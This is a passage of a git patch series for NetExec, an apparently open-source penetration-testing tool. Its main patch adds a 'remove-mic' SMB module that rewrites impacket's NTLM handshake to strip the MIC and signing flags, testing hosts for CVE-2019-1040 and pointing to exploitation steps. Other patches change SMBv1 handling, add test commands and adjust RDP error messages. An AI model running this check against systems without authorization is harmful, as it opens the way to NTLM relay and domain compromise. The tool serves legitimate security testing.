help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") From 3e44b41e8baab8da39bafd50934ead12ea94c54e Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Thu, 26 Dec 2024 02:24:10 +0800 Subject: [PATCH 30/42] [Module] Add remove mic check Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/remove-mic.py | 192 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 nxc/modules/remove-mic.py diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py new file mode 100644 index 00000000..a41d6bbb --- /dev/null +++ b/nxc/modules/remove-mic.py @@ -0,0 +1,192 @@ +# Original Author: +# Dirk-jan Mollema (@_dirkjan) +# dlive (@D1iv3) +# +# Refernece: +# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ +# - https://github.com/fox-it/cve-2019-1040-scanner +# - https://github.com/Dliv3/cve-2019-1040-scanner +# +# Modify by: +# XiaoliChan (@Memory_before) + +import calendar +import struct +import time +import random +import string + +from impacket import ntlm +from impacket import nt_errors +from impacket.smbconnection import SessionError + + +class NXCModule: + name = "remove-mic" + description = "Check if host vulnerable to CVE-2019-1040" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """PORT Port to check (defaults to 445)""" + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2 + ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3 + try: + connection.conn.reconnect() + except SessionError as e: + if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER: + context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)") + else: + context.log.info("Unexpected Exception while authentication") + else: + context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + +class Modify_Func: + # Slightly modified version of impackets computeResponseNTLMv2 + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b''): + + responseServerVersion = b'\x01' + hiResponseServerVersion = b'\x01' + responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) + + av_pairs = ntlm.AV_PAIRS(serverName) + # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will + # get access denied + # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation + # level + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: + aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] + else: + aTime = struct.pack(' 0: + av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b'\x00' * 2 # Reserved1 2 bytes + temp += b'\x00' * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b'\x00' * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable + + ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) + + ntChallengeResponse = ntProofStr + temp + lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge + sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) + + if user == '' and password == '': + # Special case for anonymous authentication + ntChallengeResponse = '' + lmChallengeResponse = '' + + return ntChallengeResponse, lmChallengeResponse, sessionBaseKey + + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = ntlm.USE_NTLMv2, channel_binding_value = b''): + # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. + if password is None: + password = '' + + # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with + # international characters. + import sys + encoding = sys.getfilesystemencoding() + if encoding is not None: + try: + user.encode('utf-16le') + except: + user = user.decode(encoding) + try: + password.encode('utf-16le') + except: + password = password.decode(encoding) + try: + domain.encode('utf-16le') + except: + domain = user.decode(encoding) + + ntlmChallenge = ntlm.NTLMAuthChallenge(type2) + + # Let's start with the original flags sent in the type1 message + responseFlags = type1['flags'] + + # Token received and parsed. Depending on the authentication + # method we will create a valid ChallengeResponse + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge']) + + clientChallenge = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)])) + + serverName = ntlmChallenge['TargetInfoFields'] + + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'], + clientChallenge, serverName, domain, user, password, + lmhash, nthash, use_ntlmv2, channel_binding_value= channel_binding_value) + + # Let's check the return flags + if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + # No extended session security, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128 ) == 0: + # No support for 128 key len, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 + if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + # No key exchange supported, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH + + # drop the mic need to unset these flags + # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN + + + keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password, + lmhash, nthash, use_ntlmv2) + + # Special case for anonymous login + if user == '' and password == '' and lmhash == '' and nthash == '': + keyExchangeKey = b'\x00'*16 + + + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)])) + encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) + else: + encryptedRandomSessionKey = None + exportedSessionKey = keyExchangeKey + + ntlmChallengeResponse['flags'] = responseFlags + ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le') + ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le') + if lmResponse == '': + ntlmChallengeResponse['lanman'] = b'\x00' + else: + ntlmChallengeResponse['lanman'] = lmResponse + ntlmChallengeResponse['ntlm'] = ntResponse + if encryptedRandomSessionKey is not None: + ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey + + return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file From d33f1640b7496e802204821d1dff6d15cb9b114a Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sat, 28 Dec 2024 02:10:50 +0800 Subject: [PATCH 31/42] [SMB] better control of smbv1 Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/protocols/smb.py | 24 ++++++++++++++---------- nxc/protocols/smb/proto_args.py | 2 +- 2 files changed, 15 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 01c039e9..b52c68aa 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -549,7 +549,6 @@ class smb(connection): preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) - self.smbv1 = True except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") @@ -577,20 +576,20 @@ class smb(connection): self.port, timeout=self.args.smb_timeout, ) - self.smbv1 = False except (Exception, NetBIOSTimeout, OSError) as e: self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True - def create_conn_obj(self): + def create_conn_obj(self, no_smbv1=False): """ Tries to create a connection object to the target host. On first try, it will try to create a SMBv1 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. + + :param no_smbv1: If True, it will not try to create a SMBv1 connection """ - if self.args.force_smbv2: - return self.create_smbv3_conn() + no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1 # Initial negotiation if self.smbv1 is None: @@ -599,7 +598,7 @@ class smb(connection): return True elif not self.is_timeouted: return self.create_smbv3_conn() - elif self.smbv1: + elif not no_smbv1 and self.smbv1: return self.create_smbv1_conn() else: return self.create_smbv3_conn() @@ -841,6 +840,7 @@ class smb(connection): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] + write_check = True if not self.args.no_write_check else False try: self.logger.debug(f"domain: {self.domain}") @@ -880,17 +880,21 @@ class smb(connection): write = False write_dir = False write_file = False - pwd = ntpath.join("\\", "*") - pwd = ntpath.normpath(pwd) try: - self.conn.listPath(share_name, pwd) + self.conn.listPath(share_name, "*") read = True share_info["access"].append("READ") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") + except (NetBIOSError, UnicodeEncodeError) as e: + write_check = False + share_info["access"].append("UNKNOWN (try '--no-smbv1')") + error = get_error_string(e) + self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") + self.logger.info(f"Skipping WRITE permission check on share {share_name}") - if not self.args.no_write_check: + if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 9f5ef419..52078a30 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -16,7 +16,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) - smb_parser.add_argument("--force-smbv2", action="store_true", help="Force to use SMBv2 in connection") + smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") From b79ddec91f9f712841049c1c7453322d2c1682c3 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 01:43:12 +0800 Subject: [PATCH 32/42] [SMB] add e2e for '--no-smbv1' Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index aadf55c7..49106928 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -5,6 +5,7 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks From ce963a0fa77693d74ef6811bb090afe4338bf964 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 14:59:53 +0800 Subject: [PATCH 33/42] [Remove-Mic] mutiple hosts set 2 False Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/remove-mic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index a41d6bbb..7662645f 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -26,7 +26,7 @@ class NXCModule: description = "Check if host vulnerable to CVE-2019-1040" supported_protocols = ["smb"] opsec_safe = True - multiple_hosts = True + multiple_hosts = False def __init__(self, context=None, module_options=None): self.context = context From 8ad48fb75754f8b0982c4ec7c703458162061878 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 15:07:17 +0800 Subject: [PATCH 34/42] [Remove-Mic] Ruff Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/remove-mic.py | 104 +++++++++++++++++++------------------- 1 file changed, 52 insertions(+), 52 deletions(-) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index 7662645f..40e43c97 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -54,11 +54,11 @@ class NXCModule: class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 - def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', - use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b''): + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): - responseServerVersion = b'\x01' - hiResponseServerVersion = b'\x01' + responseServerVersion = b"\x01" + hiResponseServerVersion = b"\x01" responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) av_pairs = ntlm.AV_PAIRS(serverName) @@ -66,13 +66,13 @@ class Modify_Func: # get access denied # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation # level - av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] else: - aTime = struct.pack(' 0: @@ -80,14 +80,14 @@ class Modify_Func: # Format according to: # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b - temp = responseServerVersion # RespType 1 byte - temp += hiResponseServerVersion # HiRespType 1 byte - temp += b'\x00' * 2 # Reserved1 2 bytes - temp += b'\x00' * 4 # Reserved2 4 bytes - temp += aTime # TimeStamp 8 bytes - temp += clientChallenge # ChallengeFromClient 8 bytes - temp += b'\x00' * 4 # Reserved 4 bytes - temp += av_pairs.getData() # AvPairs variable + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b"\x00" * 2 # Reserved1 2 bytes + temp += b"\x00" * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b"\x00" * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) @@ -95,17 +95,17 @@ class Modify_Func: lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) - if user == '' and password == '': + if user == "" and password == "": # Special case for anonymous authentication - ntChallengeResponse = '' - lmChallengeResponse = '' + ntChallengeResponse = "" + lmChallengeResponse = "" return ntChallengeResponse, lmChallengeResponse, sessionBaseKey - def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = ntlm.USE_NTLMv2, channel_binding_value = b''): + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. if password is None: - password = '' + password = "" # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with # international characters. @@ -113,80 +113,80 @@ class Modify_Func: encoding = sys.getfilesystemencoding() if encoding is not None: try: - user.encode('utf-16le') - except: + user.encode("utf-16le") + except Exception: user = user.decode(encoding) try: - password.encode('utf-16le') - except: + password.encode("utf-16le") + except Exception: password = password.decode(encoding) try: - domain.encode('utf-16le') - except: + domain.encode("utf-16le") + except Exception: domain = user.decode(encoding) ntlmChallenge = ntlm.NTLMAuthChallenge(type2) # Let's start with the original flags sent in the type1 message - responseFlags = type1['flags'] + responseFlags = type1["flags"] # Token received and parsed. Depending on the authentication # method we will create a valid ChallengeResponse - ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge']) + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"]) - clientChallenge = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)])) + clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)])) - serverName = ntlmChallenge['TargetInfoFields'] + serverName = ntlmChallenge["TargetInfoFields"] - ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'], + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"], clientChallenge, serverName, domain, user, password, - lmhash, nthash, use_ntlmv2, channel_binding_value= channel_binding_value) + lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value) # Let's check the return flags - if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: # No extended session security, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY - if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128 ) == 0: + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0: # No support for 128 key len, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 - if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: # No key exchange supported, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH # drop the mic need to unset these flags # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN - keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password, + keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, lmhash, nthash, use_ntlmv2) # Special case for anonymous login - if user == '' and password == '' and lmhash == '' and nthash == '': - keyExchangeKey = b'\x00'*16 + if user == "" and password == "" and lmhash == "" and nthash == "": + keyExchangeKey = b"\x00" * 16 - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: - exportedSessionKey = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)])) + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) else: encryptedRandomSessionKey = None - exportedSessionKey = keyExchangeKey + exportedSessionKey = keyExchangeKey - ntlmChallengeResponse['flags'] = responseFlags - ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le') - ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le') - if lmResponse == '': - ntlmChallengeResponse['lanman'] = b'\x00' + ntlmChallengeResponse["flags"] = responseFlags + ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le") + ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le") + if lmResponse == "": + ntlmChallengeResponse["lanman"] = b"\x00" else: - ntlmChallengeResponse['lanman'] = lmResponse - ntlmChallengeResponse['ntlm'] = ntResponse + ntlmChallengeResponse["lanman"] = lmResponse + ntlmChallengeResponse["ntlm"] = ntResponse if encryptedRandomSessionKey is not None: - ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey + ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file From 964be24cfa44a9bae23d738f9d5e85ea549b31ab Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 15:09:06 +0800 Subject: [PATCH 35/42] [Remove-Mic] Add e2e command Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index aadf55c7..bb227da0 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -84,6 +84,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" From 281feb3809f07ffb5f8cec810e83cc06f92cbf87 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 18:29:05 +0800 Subject: [PATCH 36/42] [SMB] @mpgn review Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b52c68aa..e9cd70f2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -592,7 +592,7 @@ class smb(connection): no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1 # Initial negotiation - if self.smbv1 is None: + if not no_smbv1 and self.smbv1 is None: self.smbv1 = self.create_smbv1_conn() if self.smbv1: return True From 14c450676709f9526d68dd4e232aae1421e57289 Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 30 Dec 2024 19:10:35 +0100 Subject: [PATCH 37/42] Update user-desc.py Signed-off-by: lapinou --- nxc/modules/user-desc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 866b8959..47d6e574 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -71,7 +71,7 @@ class NXCModule: Users can specify additional LDAP filters that are applied to the query. """ self.context = context - self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")) + self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S")) context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'") try: From f93e9c3ea473c2e3bb71c211e797283f5a5607a7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:16:30 -0500 Subject: [PATCH 38/42] Add errors message to login result --- nxc/protocols/rdp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 9a8a5a46..837d55fa 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -318,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(password)} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False From 0f810c958df5c532f0e1298b6b2ad73be824acc6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:20:32 -0500 Subject: [PATCH 39/42] Add errors message to login result for all login methods --- nxc/protocols/rdp.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 837d55fa..cd9e1aae 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -269,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -284,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -353,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != 